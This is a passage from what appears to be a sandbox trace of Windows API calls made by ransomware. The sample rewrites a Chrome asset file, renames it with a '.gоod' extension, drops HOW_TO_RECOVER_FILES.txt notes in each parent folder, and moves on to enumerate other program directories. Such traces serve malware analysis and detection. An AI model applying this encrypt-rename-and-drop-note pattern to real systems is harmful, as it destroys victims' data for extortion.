(x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0150.660] GetFileType (hFile=0x630) returned 0x1 [0150.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0150.660] GetFileType (hFile=0x630) returned 0x1 [0150.660] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x238f [0150.660] WriteFile (in: hFile=0x630, lpBuffer=0x37eb4f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x37eb4f8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0152.066] CloseHandle (hObject=0x630) returned 1 [0152.079] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", lpFilePart=0x0) returned 0x5d [0152.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0152.079] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0152.080] GetFileType (hFile=0x630) returned 0x1 [0152.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0152.080] GetFileType (hFile=0x630) returned 0x1 [0152.080] ReadFile (in: hFile=0x630, lpBuffer=0x3a8ab48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3a8ab48*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0152.119] CloseHandle (hObject=0x630) returned 1 [0152.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", lpFilePart=0x0) returned 0x5d [0152.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0152.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0152.119] GetFileType (hFile=0x630) returned 0x1 [0152.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0152.119] GetFileType (hFile=0x630) returned 0x1 [0152.119] WriteFile (in: hFile=0x630, lpBuffer=0x3a89868*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3a89868*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0152.120] CloseHandle (hObject=0x630) returned 1 [0152.120] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png", lpFilePart=0x0) returned 0x5d [0152.120] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png.gоod", lpFilePart=0x0) returned 0x62 [0152.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0152.120] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x56e1cc5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x239f)) returned 1 [0152.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0152.120] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\smalllogodev.png.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\smalllogodev.png.gоod")) returned 1 [0152.121] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0152.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebc90) returned 1 [0152.121] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\VisualElements\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\visualelements\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0152.406] GetFileType (hFile=0x80c) returned 0x1 [0152.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc00) returned 1 [0152.407] GetFileType (hFile=0x80c) returned 0x1 [0152.407] WriteFile (in: hFile=0x80c, lpBuffer=0x38fcaa8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbebd58, lpOverlapped=0x0 | out: lpBuffer=0x38fcaa8*, lpNumberOfBytesWritten=0x1fbebd58*=0x5d0, lpOverlapped=0x0) returned 1 [0152.408] CloseHandle (hObject=0x80c) returned 1 [0152.408] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbec1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0152.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec6c0) returned 1 [0152.408] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0152.409] GetFileType (hFile=0x80c) returned 0x1 [0152.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec630) returned 1 [0152.409] GetFileType (hFile=0x80c) returned 0x1 [0152.409] WriteFile (in: hFile=0x80c, lpBuffer=0x3900308*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbec788, lpOverlapped=0x0 | out: lpBuffer=0x3900308*, lpNumberOfBytesWritten=0x1fbec788*=0x5d0, lpOverlapped=0x0) returned 1 [0152.410] CloseHandle (hObject=0x80c) returned 1 [0152.410] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0152.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed0f0) returned 1 [0152.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0152.411] GetFileType (hFile=0x80c) returned 0x1 [0152.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed060) returned 1 [0152.411] GetFileType (hFile=0x80c) returned 0x1 [0152.412] WriteFile (in: hFile=0x80c, lpBuffer=0x3903b38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbed1b8, lpOverlapped=0x0 | out: lpBuffer=0x3903b38*, lpNumberOfBytesWritten=0x1fbed1b8*=0x5d0, lpOverlapped=0x0) returned 1 [0152.412] CloseHandle (hObject=0x80c) returned 1 [0152.413] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3d [0152.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedb20) returned 1 [0152.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0152.413] GetFileType (hFile=0x80c) returned 0x1 [0152.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeda90) returned 1 [0152.413] GetFileType (hFile=0x80c) returned 0x1 [0152.414] WriteFile (in: hFile=0x80c, lpBuffer=0x3907338*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbedbe8, lpOverlapped=0x0 | out: lpBuffer=0x3907338*, lpNumberOfBytesWritten=0x1fbedbe8*=0x5d0, lpOverlapped=0x0) returned 1 [0152.414] CloseHandle (hObject=0x80c) returned 1 [0152.415] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbee030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x36 [0152.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee550) returned 1 [0152.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0152.416] GetFileType (hFile=0x80c) returned 0x1 [0152.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4c0) returned 1 [0152.416] GetFileType (hFile=0x80c) returned 0x1 [0152.416] WriteFile (in: hFile=0x80c, lpBuffer=0x390ab18*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbee618, lpOverlapped=0x0 | out: lpBuffer=0x390ab18*, lpNumberOfBytesWritten=0x1fbee618*=0x5d0, lpOverlapped=0x0) returned 1 [0152.417] CloseHandle (hObject=0x80c) returned 1 [0152.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0152.417] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office", lpFilePart=0x0) returned 0x27 [0152.418] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x132704c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x132704c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.418] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x132704c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x132704c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.418] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf211cc60, ftCreationTime.dwHighDateTime=0x1d5b1b4, ftLastAccessTime.dwLowDateTime=0xfd9a42f0, ftLastAccessTime.dwHighDateTime=0x1d553e1, ftLastWriteTime.dwLowDateTime=0xfd9a42f0, ftLastWriteTime.dwHighDateTime=0x1d553e1, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="crime neck.exe", cAlternateFileName="CRIMEN~1.EXE")) returned 1 [0152.418] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a551180, ftCreationTime.dwHighDateTime=0x1d53f1e, ftLastAccessTime.dwLowDateTime=0x854f5850, ftLastAccessTime.dwHighDateTime=0x1d53d2d, ftLastWriteTime.dwLowDateTime=0x854f5850, ftLastWriteTime.dwHighDateTime=0x1d53d2d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stuffed.exe", cAlternateFileName="")) returned 1 [0152.418] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.418] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0152.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0152.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0152.419] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office", lpFilePart=0x0) returned 0x27 [0152.419] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x132704c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x132704c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.419] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x132704c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x132704c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.419] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf211cc60, ftCreationTime.dwHighDateTime=0x1d5b1b4, ftLastAccessTime.dwLowDateTime=0xfd9a42f0, ftLastAccessTime.dwHighDateTime=0x1d553e1, ftLastWriteTime.dwLowDateTime=0xfd9a42f0, ftLastWriteTime.dwHighDateTime=0x1d553e1, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="crime neck.exe", cAlternateFileName="CRIMEN~1.EXE")) returned 1 [0152.419] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a551180, ftCreationTime.dwHighDateTime=0x1d53f1e, ftLastAccessTime.dwLowDateTime=0x854f5850, ftLastAccessTime.dwHighDateTime=0x1d53d2d, ftLastWriteTime.dwLowDateTime=0x854f5850, ftLastWriteTime.dwHighDateTime=0x1d53d2d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stuffed.exe", cAlternateFileName="")) returned 1 [0152.419] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a551180, ftCreationTime.dwHighDateTime=0x1d53f1e, ftLastAccessTime.dwLowDateTime=0x854f5850, ftLastAccessTime.dwHighDateTime=0x1d53d2d, ftLastWriteTime.dwLowDateTime=0x854f5850, ftLastWriteTime.dwHighDateTime=0x1d53d2d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stuffed.exe", cAlternateFileName="")) returned 0 [0152.419] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0152.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0152.420] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\crime neck.exe", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\crime neck.exe", lpFilePart=0x0) returned 0x36 [0152.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0152.420] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\crime neck.exe" (normalized: "c:\\program files (x86)\\microsoft office\\crime neck.exe"), fInfoLevelId=0x0, lpFileInformation=0x3919ca0 | out: lpFileInformation=0x3919ca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf211cc60, ftCreationTime.dwHighDateTime=0x1d5b1b4, ftLastAccessTime.dwLowDateTime=0xfd9a42f0, ftLastAccessTime.dwHighDateTime=0x1d553e1, ftLastWriteTime.dwLowDateTime=0xfd9a42f0, ftLastWriteTime.dwHighDateTime=0x1d553e1, nFileSizeHigh=0x0, nFileSizeLow=0x13200)) returned 1 [0152.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0152.420] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\crime neck.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\crime neck.exe", lpFilePart=0x0) returned 0x36 [0152.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0152.420] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\crime neck.exe" (normalized: "c:\\program files (x86)\\microsoft office\\crime neck.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeac80) returned 1 [0152.423] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\stuffed.exe", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\stuffed.exe", lpFilePart=0x0) returned 0x33 [0152.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0152.423] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\stuffed.exe" (normalized: "c:\\program files (x86)\\microsoft office\\stuffed.exe"), fInfoLevelId=0x0, lpFileInformation=0x391a7f8 | out: lpFileInformation=0x391a7f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a551180, ftCreationTime.dwHighDateTime=0x1d53f1e, ftLastAccessTime.dwLowDateTime=0x854f5850, ftLastAccessTime.dwHighDateTime=0x1d53d2d, ftLastWriteTime.dwLowDateTime=0x854f5850, ftLastWriteTime.dwHighDateTime=0x1d53d2d, nFileSizeHigh=0x0, nFileSizeLow=0x13200)) returned 1 [0152.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0152.423] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\stuffed.exe", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\stuffed.exe", lpFilePart=0x0) returned 0x33 [0152.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0152.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\stuffed.exe" (normalized: "c:\\program files (x86)\\microsoft office\\stuffed.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0152.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeac80) returned 1 [0152.426] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbee030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0152.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee550) returned 1 [0152.426] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\microsoft office\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0152.427] GetFileType (hFile=0x80c) returned 0x1 [0152.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4c0) returned 1 [0152.427] GetFileType (hFile=0x80c) returned 0x1 [0152.428] WriteFile (in: hFile=0x80c, lpBuffer=0x391d668*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbee618, lpOverlapped=0x0 | out: lpBuffer=0x391d668*, lpNumberOfBytesWritten=0x1fbee618*=0x5d0, lpOverlapped=0x0) returned 1 [0152.430] CloseHandle (hObject=0x80c) returned 1 [0152.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0152.430] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Maintenance Service", lpFilePart=0x0) returned 0x32 [0152.430] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x440505, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x440505, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.430] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x440505, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x440505, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.430] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef3b1257, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef3d74a4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef3d74a4, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0152.431] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1289ad, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef1289ad, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7da49100, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", 